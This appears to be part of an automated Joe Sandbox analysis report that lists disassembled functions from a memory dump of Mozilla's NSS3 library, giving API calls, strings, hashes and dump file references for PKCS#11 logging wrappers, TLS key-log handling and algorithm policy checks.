Instruction ID: 2c1714d730059e05f30f059de1e023d63dd0f4756c6dca2c31c3e3a20b12eec5
Opcode Fuzzy Hash: a612fca08e1bb4f13014e3ffd1b906d4b6c6b5a179153c6cef88c703dfa71db6
Instruction Fuzzy Hash: 2FB10374D00205DFDB10DF69DC88BAAB7B4FF09308FA44529E845A7B12E731E960CBA5

Function 6C646D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C646D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646DC3

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C646DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C646E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C646E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C646E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C646EB9

Strings

*pulDigestLen = 0x%x, xrefs: 6C646EB4
pulDigestLen = 0x%p, xrefs: 6C646E42
nrl, xrefs: 6C646E61, 6C646E95
ulDataLen = %d, xrefs: 6C646E0E
pData = 0x%p, xrefs: 6C646DF5
C_Digest, xrefs: 6C646D81
hSession = 0x%x, xrefs: 6C646D9E, 6C646DAE
(CK_INVALID_HANDLE), xrefs: 6C646DBC
pDigest = 0x%p, xrefs: 6C646E27

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nrl
API String ID: 1003633598-731770219
Opcode ID: b294ed76fd710adc3a88ad0e4aa8de7fed5859012eb57a16a25df31abcd6dbbd
Instruction ID: a7cac9d2a4dc2f03a58e37e1de051eb19681f821292b2ecf429527ce6c4689b3
Opcode Fuzzy Hash: b294ed76fd710adc3a88ad0e4aa8de7fed5859012eb57a16a25df31abcd6dbbd
Instruction Fuzzy Hash: CD41B475601128EFDB019F54DE4DF8A3BB1AB8231CF04C034E809A7612DB31E949CBBA

Function 6C648820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C648846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C648874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C648883

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C648899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C6488BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C6488D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C6488EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C648907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C648979

Strings

ulEncryptedPartLen = %d, xrefs: 6C6488CE
nrl, xrefs: 6C648921, 6C648955
*pulPartLen = 0x%x, xrefs: 6C648974
C_DecryptVerifyUpdate, xrefs: 6C648841
pEncryptedPart = 0x%p, xrefs: 6C6488B5
hSession = 0x%x, xrefs: 6C64885E, 6C64886E
(CK_INVALID_HANDLE), xrefs: 6C64887C
pPart = 0x%p, xrefs: 6C6488E7
pulPartLen = 0x%p, xrefs: 6C648902

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$nrl
API String ID: 1003633598-44831
Opcode ID: 2c74543d543ca6e61849a1465d0d2c16866f6cf338f9bfa32889e4298c05ac08
Instruction ID: eac943bcd4ec652f333b3dc4e2c17a6909d6a51dc951b3d4d49bf5c5c3872564
Opcode Fuzzy Hash: 2c74543d543ca6e61849a1465d0d2c16866f6cf338f9bfa32889e4298c05ac08
Instruction Fuzzy Hash: 6C419275601168EFDB019F54DE4CB8A3BB1AB4735DF04C035E809A7622DB359918CBFA

Function 6C646960 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6C646986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6469B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6469C3

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C6469D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C6469FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C646A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C646A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C646A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C646AB9

Strings

ulEncryptedPartLen = %d, xrefs: 6C646A0E
nrl, xrefs: 6C646A61, 6C646A95
*pulPartLen = 0x%x, xrefs: 6C646AB4
pEncryptedPart = 0x%p, xrefs: 6C6469F5
hSession = 0x%x, xrefs: 6C64699E, 6C6469AE
(CK_INVALID_HANDLE), xrefs: 6C6469BC
pPart = 0x%p, xrefs: 6C646A27
C_DecryptUpdate, xrefs: 6C646981
pulPartLen = 0x%p, xrefs: 6C646A42

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate$nrl
API String ID: 1003633598-1904647279
Opcode ID: 7ef6a347cb6f5df43ce41544906f091ea851cf3bb9e2df5b97e24594f8381de5
Instruction ID: d6813c767480957529443f81dd79c66fca4ef2e7631a05e1563208829b5d4419
Opcode Fuzzy Hash: 7ef6a347cb6f5df43ce41544906f091ea851cf3bb9e2df5b97e24594f8381de5
Instruction Fuzzy Hash: D541A135601169EFDB019F54DE4DB8A3BB1EB42318F08C034E809A7612DB31E958CBBA

Function 6C654C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C654C4C
EnterCriticalSection.KERNEL32(?), ref: 6C654C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C654CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C654DB7

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

TlsGetValue.KERNEL32 ref: 6C654DD7
EnterCriticalSection.KERNEL32(?), ref: 6C654DEC
PR_Unlock.NSS3(?), ref: 6C654E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C654E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C654E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C654E71
free.MOZGLUE(00000000), ref: 6C654E7A
PR_Unlock.NSS3(?), ref: 6C654EA2
TlsGetValue.KERNEL32 ref: 6C654EC1
EnterCriticalSection.KERNEL32(?), ref: 6C654ED6
PR_Unlock.NSS3(?), ref: 6C654F01
free.MOZGLUE(00000000), ref: 6C654F2A

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 5483a529c73be2a720734e8e120956b0b2fc6c4f618c619faf16e276daa2e5eb
Instruction ID: 2dfd51c521afe6e2516534bae204a3713b5e12a6af00cad22f131c8bea21cd2e
Opcode Fuzzy Hash: 5483a529c73be2a720734e8e120956b0b2fc6c4f618c619faf16e276daa2e5eb
Instruction Fuzzy Hash: 35B10371A002059FDF01EF28D844ABA77B4BF46318FA441B8EC0597B10EB75E975CBA5

Function 6C6A6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6A6BF7), ref: 6C6A6EB6

Part of subcall function 6C601240: TlsGetValue.KERNEL32(00000040,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601267
Part of subcall function 6C601240: EnterCriticalSection.KERNEL32(?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C60127C
Part of subcall function 6C601240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C601291
Part of subcall function 6C601240: PR_Unlock.NSS3(?,?,?,?,6C60116C,NSPR_LOG_MODULES), ref: 6C6012A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C74FC0A,6C6A6BF7), ref: 6C6A6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6A6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6A6EFC
PR_NewLock.NSS3 ref: 6C6A6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6A6BF7), ref: 6C6A6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6A6BF7), ref: 6C6A6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6A6BF7), ref: 6C6A6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6A6BF7), ref: 6C6A6FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6A6F4F
SSLFORCELOCKS, xrefs: 6C6A6F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6A6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6A6FF8
SSLKEYLOGFILE, xrefs: 6C6A6EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6A6FDB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: a794d0aaf35f49631ded95b2c5e24227998af23abe43f1c3930aac05c568f9d2
Instruction ID: 92337d9293520b23b1f02ca4e2e2320ada8b42cb5b0287f4bea86f6a239df0ac
Opcode Fuzzy Hash: a794d0aaf35f49631ded95b2c5e24227998af23abe43f1c3930aac05c568f9d2
Instruction Fuzzy Hash: F0A15DB2B59D9487EB0146BCCD0139433E2AB9332AF584375E530C7ED8DB76DC428299

Function 6C61C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C61C4D5

Part of subcall function 6C66BE30: SECOID_FindOID_Util.NSS3(6C62311B,00000000,?,6C62311B,?), ref: 6C66BE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C61C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C61C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C61C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6C61C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6C61C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C61C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C61C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C61C751
PL_FinishArenaPool.NSS3(?), ref: 6C61C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C61C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C61C7A9

Strings

security, xrefs: 6C61C63F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: 54c336b9c714c48afd2aa19829b19e2a062d42b3767f2b219aa925867f6847cb
Instruction ID: f8ffd5c70263adf8c518e297f9a47fd3f5d7edac93cdbcbef1b0c5054d042b0e
Opcode Fuzzy Hash: 54c336b9c714c48afd2aa19829b19e2a062d42b3767f2b219aa925867f6847cb
Instruction Fuzzy Hash: 62811971C08108BAEF10EA59DC41BEE7774EF0230EF244135E903A6E51E361D959CBAE

Function 6C67E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C67E853,?,FFFFFFFF,?,?,6C67B0CC,?,6C67B4A0,?,00000000), ref: 6C67E8D9

Part of subcall function 6C670D30: calloc.MOZGLUE ref: 6C670D50
Part of subcall function 6C670D30: TlsGetValue.KERNEL32 ref: 6C670D6D

Part of subcall function 6C67C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C67DAE2,?), ref: 6C67C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C67E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C67E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C67EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C67EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C67EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C67EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C67EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C67EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C67EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C67EBEC
free.MOZGLUE(00000000), ref: 6C67EC58

Strings

Sgl, xrefs: 6C67E9CA, 6C67EAAB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Sgl
API String ID: 759478663-2004052072
Opcode ID: 57a049126ae640539059cad3d704be737a32fd33af35270f3e60fd7db46903ac
Instruction ID: 981bcda2a16755ccacaf25c1d968e82ea5e883d6d460ef5c6acef0fb7935720e
Opcode Fuzzy Hash: 57a049126ae640539059cad3d704be737a32fd33af35270f3e60fd7db46903ac
Instruction Fuzzy Hash: 8FC194B5E002059FEB20CF69D981BEA77B4BF05718F140869E91697B51E731E808CBF9

Function 6C644E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C644E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C644EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644EC7

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C644EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C644F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C644F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C644F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C644F68

Strings

C_GetAttributeValue, xrefs: 6C644E7E
hObject = 0x%x, xrefs: 6C644EF5, 6C644F05
nrl, xrefs: 6C644F82, 6C644FB2
ulCount = %d, xrefs: 6C644F63
pTemplate = 0x%p, xrefs: 6C644F4A
hSession = 0x%x, xrefs: 6C644EA2, 6C644EB2
(CK_INVALID_HANDLE), xrefs: 6C644EC0, 6C644F13

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nrl
API String ID: 1003633598-1643950507
Opcode ID: f68410a4c97aa5cfd32c6ef0b60d6722ef91e9312b07cf7afc5c5b3f55706779
Instruction ID: 84fb52aa0e1ed34075ca93ece451ad36c3f9ca4ed6ce884b05a569bdc3021b1c
Opcode Fuzzy Hash: f68410a4c97aa5cfd32c6ef0b60d6722ef91e9312b07cf7afc5c5b3f55706779
Instruction Fuzzy Hash: 3B41D671601158EFDB019F54DE8DFAA77B5AB8231DF04C034E90857A12DB749908CBBA

Function 6C644CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C644CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C644D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644D37

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C644D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C644D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C644D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C644DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C644DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C644E20

Strings

hObject = 0x%x, xrefs: 6C644D65, 6C644D75
*pulSize = 0x%x, xrefs: 6C644E1B
nrl, xrefs: 6C644DD4, 6C644DFF
pulSize = 0x%p, xrefs: 6C644DB7
hSession = 0x%x, xrefs: 6C644D12, 6C644D22
(CK_INVALID_HANDLE), xrefs: 6C644D30, 6C644D83
C_GetObjectSize, xrefs: 6C644CEE

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nrl
API String ID: 1003633598-1956224674
Opcode ID: 7684382a1768efeeb56ceffdb7db92f6a71c9144a1e8138edf6fcc121b56c1a1
Instruction ID: 0acb6e4429bc1d60904aab93aa5f83ee78a27324e476ce98acb99494f280e62f
Opcode Fuzzy Hash: 7684382a1768efeeb56ceffdb7db92f6a71c9144a1e8138edf6fcc121b56c1a1
Instruction Fuzzy Hash: 5341E771601118EFDB019F10DE8EFAA3BB5EB4235DF04C035E8086BA12DB749948DB7A

Function 6C642F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C642F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C642F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C642F63

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C642F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C642F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C642FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C642FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C642FE7

Strings

pOldPin = 0x%p, xrefs: 6C642F95
pNewPin = 0x%p, xrefs: 6C642FC9
nrl, xrefs: 6C642FFF, 6C643030
C_SetPIN, xrefs: 6C642F21
ulNewLen = %d, xrefs: 6C642FE2
hSession = 0x%x, xrefs: 6C642F3E, 6C642F4E
(CK_INVALID_HANDLE), xrefs: 6C642F5C
ulOldLen = %d, xrefs: 6C642FB0

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

